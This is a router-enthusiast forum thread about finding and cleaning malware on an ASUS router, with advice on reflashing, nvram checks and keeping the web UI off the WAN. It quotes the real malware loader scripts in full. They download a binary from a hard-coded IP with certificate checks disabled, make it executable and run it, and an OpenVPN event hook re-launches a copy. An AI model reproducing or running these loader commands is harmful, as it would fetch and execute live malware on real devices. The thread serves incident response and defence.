List of legitimate processes on router

[e_lasman]

I recently noticed a binary running from /tmp and found out that the router has hacked. It is sort of self-installing trojan or something, whatever. I was able to track it down and cleanup its loader from /jffs However, during the discovery I realized that it there is a lot of processes which short binary names which I've no idea about. So I'm wondering if there is any documentation or list here where I can match running binaries with the list of those shipped with OS. Sure with opkg there could be an endless list of such, but at least those built-in would be a great help.

 

[e_lasman]

On a side note, is it possible to set a permission on /tmp which will prevent running binaries from it?

 

[RMerlin]

On a side note, is it possible to set a permission on /tmp which will prevent running binaries from it?

No, because legitimate binaries and scripts actually run from /tmp.

 

[Yota]

I have a hunch that many people on this forum will be very excited, because they haven't encountered any malware attacking asuswrt-merlin for a long time.

Before you do anything, please try get a copy of the malware, if it is a 0day, then we may fix it as soon as possible and protect more people.

If you need a list of all files on your router, you only need to download the firmware, then unzip it, and you will get a complete copy of the router system, for old models, you can directly use 7-zip to open it. For new firmware, you need to use some additional scripts, such as binwalk (https://www.snbforums.com/threads/merlin-firmware-trx-vs-w.42615/post-363055).

How to remove malware?
Please remove the Internet cable from your router, and then use your mobile hotspot or other router to download the latest version of the firmware to your computer. Then follow this guide (https://www.asus.com/support/FAQ/1000814/) to use rescue mode to flash your router. finally, make factory settings.

If the malware disappears at this time, you can continue with the next operation. make sure you use a really strong password, and disable the SSH and WEB access from the Internet. and remember to install skynet and turn on ai protection.

If it does not disappear after you flash, it may have been burned in the cfe, which is a bit tricky, so you may need more help.

I would also suggest that you try to use anti-virus software to run a full scan on your computer, because the purpose of many malware is to attack your computer.

 

[e_lasman]

It was a two-step loader to load ARM-compatible ELF (I have a copy if you need, yet it is "all green" on visurtotal.com) loaded from somewhere in Thailand. I would assume myself an experienced sysadmin and so far seen such malware side-loaded through web UI vulnerabilities, eg. last year there were multiple critical CVEs for Atlassian apps which I'm working with and many users got bitcoin mines in unpatched apps. I didn't see much activity of that and probably should enable syslog export to another host in the network to see if such happen again.
To remove it, it was sufficient to remove its loader script from /jffs and restart router. Also, just in case I've changed all password and reset certs for OpenVPN. Unfortunately this is remote device and I can't flash it at the moment.

The loader script is below, links are still live so you can get a binary (as.armv5te) and its params file (/.update7.log). The script was installed as /jffs/chkupdate.sh

#!/bin/sh
rm $0
cd /tmp
wget --no-check-certificate https://122.155.219.8/as/as.armv5te -O /tmp/update
wget --no-check-certificate https://122.155.219.8/308/.update7.log -O /tmp/.update.log
chmod 777 /tmp/update
/tmp/update &

Also I found /jffs/scripts/openvpn-event, the content below but I didn't save /jffs/runtime.log, AFAIR it was the same loader to load another shell such as the one above. I believe the malware was launched every time OpenVPN activated (openvpn-event?) thus it could be through OpenVPN CVE. I've OpenVPN server with the static TLS key.

#!/bin/sh
cd /tmp
cp /jffs/runtime.log upgrade.sh
sh upgrade.sh &

All this happened on RT-AC68U_384.17 but I've upgraded to 384.18 as the part of the cleanup. Let me know if this is something helpful or if you need more details.

 

[RMerlin]

Let me know if this is something helpful or if you need more details.

Known malware, generally install itself if you leave your webui open to the WAN.

That malware dates back to 2019 BTW.

 

[Yota]

It

It was a two-step loader to load ARM-compatible ELF (I have a copy if you need, yet it is "all green" on visurtotal.com) loaded from somewhere in Thailand. I would assume myself an experienced sysadmin and so far seen such malware side-loaded through web UI vulnerabilities, eg. last year there were multiple critical CVEs for Atlassian apps which I'm working with and many users got bitcoin mines in unpatched apps. I didn't see much activity of that and probably should enable syslog export to another host in the network to see if such happen again.
To remove it, it was sufficient to remove its loader script from /jffs and restart router. Also, just in case I've changed all password and reset certs for OpenVPN. Unfortunately this is remote device and I can't flash it at the moment.

The loader script is below, links are still live so you can get a binary (as.armv5te) and its params file (/.update7.log). The script was installed as /jffs/chkupdate.sh

#!/bin/sh
rm $0
cd /tmp
wget --no-check-certificate https://122.155.219.8/as/as.armv5te -O /tmp/update
wget --no-check-certificate https://122.155.219.8/308/.update7.log -O /tmp/.update.log
chmod 777 /tmp/update
/tmp/update &

Also I found /jffs/scripts/openvpn-event, the content below but I didn't save /jffs/runtime.log, AFAIR it was the same loader to load another shell such as the one above. I believe the malware was launched every time OpenVPN activated (openvpn-event?) thus it could be through OpenVPN CVE. I've OpenVPN server with the static TLS key.

#!/bin/sh
cd /tmp
cp /jffs/runtime.log upgrade.sh
sh upgrade.sh &

Thank you for the information.

It seems that it will not auto flash malicious firmware to root your device. So I think you don't need to flash the firmware if you can't do it easily, just disable the jffs script, format the jffs partition, and it is best to check whether there is a hook in nvram.

Check all nvram variables that linked to persistent storage, E.g:

nvram show | grep -i jffs
nvram show | grep -i sda # USB Device
nvram show | grep -i sdb # USB Device
nvram show | grep -i sdc # USB Device

Visurtotal is impossible to automatically analyze the malware in IoT devices or even most Androids, unless the malware is manually checked and a malware tag is added by the security vendor. Obviously those antivirus software cares more about Windows malware.

To answer how it hacked your device, I think this requires more investigation. If you can provide more information, such as the services and ports you have opened, and the third-party binary files installed on the router, it will be helpful.

Like RMerlin said, I think it is possible to hack your device through WAN access + password guessing, this is the behavior of most IoT malware. And I believe the severity of malware is very low if follow good usage habits (strong password + always use OpenVPN servers only when you really need remote access).


This is the router security checklist (https://routersecurity.org/checklist.php) written by Michael Horowitz. You can use it to check all your router settings are sufficiently secure.

 

[e_lasman]

Known malware, generally install itself if you leave your webui open to the WAN.

That malware dates back to 2019 BTW.

Is this known vulnerability fixed in recent version or it isn't fixed and there are mitigation steps?

 

[RMerlin]

Is this known vulnerability fixed in recent version or it isn't fixed and there are mitigation steps?

I don't have any additional info to share, sorry. Only that this malware was discovered and addressed by Asus months ago.

 

[e_lasman]

Any other clues or keywords, or they didn’t disclose details? I want to understand whether the password was brute forced or there is a vulnerability which was exploited. Cuz in case of latter if there is no patch the only is to disable web UI

 

[RMerlin]

Any other clues or keywords, or they didn’t disclose details

I'm sorry, but I'm not discussing security details. Just that there is no good reason to leave the webui accessible over the WAN - use a VPN to reach it remotely.

 

[e_lasman]

Too bad. I did hope that ASUS will at least admit the presence such bug and issue recommendations. Instead, it looks like they prefer to keep it under the carpet AndI didn't mean you at all, but I didn't find anything about this on either ASUS website or CVE details.\

UPD: or maybe this is CVE-2018-18291.

 

[RMerlin]

Too bad. I did hope that ASUS will at least admit the presence such bug and issue recommendations. Instead, it looks like they prefer to keep it under the carpet AndI didn't mean you at all, but I didn't find anything about this on either ASUS website or CVE details.\

UPD: or maybe this is CVE-2018-18291.

Not every security issue gets assigned a CVE. And Asus has always been very clear in their changelog whenever they fixed any security issue. Every few firmware release there will be reports of security issues related to the webui that have been fixed. Which of these was leveraged by this malware isn't publicly known, but it was most likely resolved by one of the previous security fixes. As I said, this malware is nearly one year old, and it has been known for a long time as well.

 

[e_lasman]

My point is if the vulnerability was fixed, why it is still recommended to disable web UI ‍

 

[ColinTaylor]

My point is if the vulnerability was fixed, why it is still recommended to disable web UI ‍♂

Because there's been a long history of vulnerabilities being discovered in the web UI. So even though this one has been fixed that doesn't mean that others will not be found.

 

[bsdsource]

My point is if the vulnerability was fixed, why it is still recommended to disable web UI ‍♂

Disable WAN access to webui to be specific. This has been recommendation for years. You wouldn't be able to completely disable the webgui without modifying Asus router source code. Good read.

Typically when I build Asus firmware for my own router purposes I implement code to completely kill the webgui after 5 minutes of uptime to mitigate the possibility of a webui attack vector. This covers both WAN and LAN. I have no need for the webui after I configure my router, and if I do, I reboot the router to give me the 5 minutes I need to make changes.

 

[Adamm]

Although this strand is old and I assume now patched, I've added a check to Skynet to notify users who may still have remnants on their devices

 

[RMerlin]

Although this strand is old and I assume now patched, I've added a check to Skynet to notify users who may still have remnants on their devices

It's the same malware that messes the wget_timeout BTW.

 

[Adamm]

It's the same malware that messes the wget_timeout BTW.

Good to know, I'll combine the functions in that case.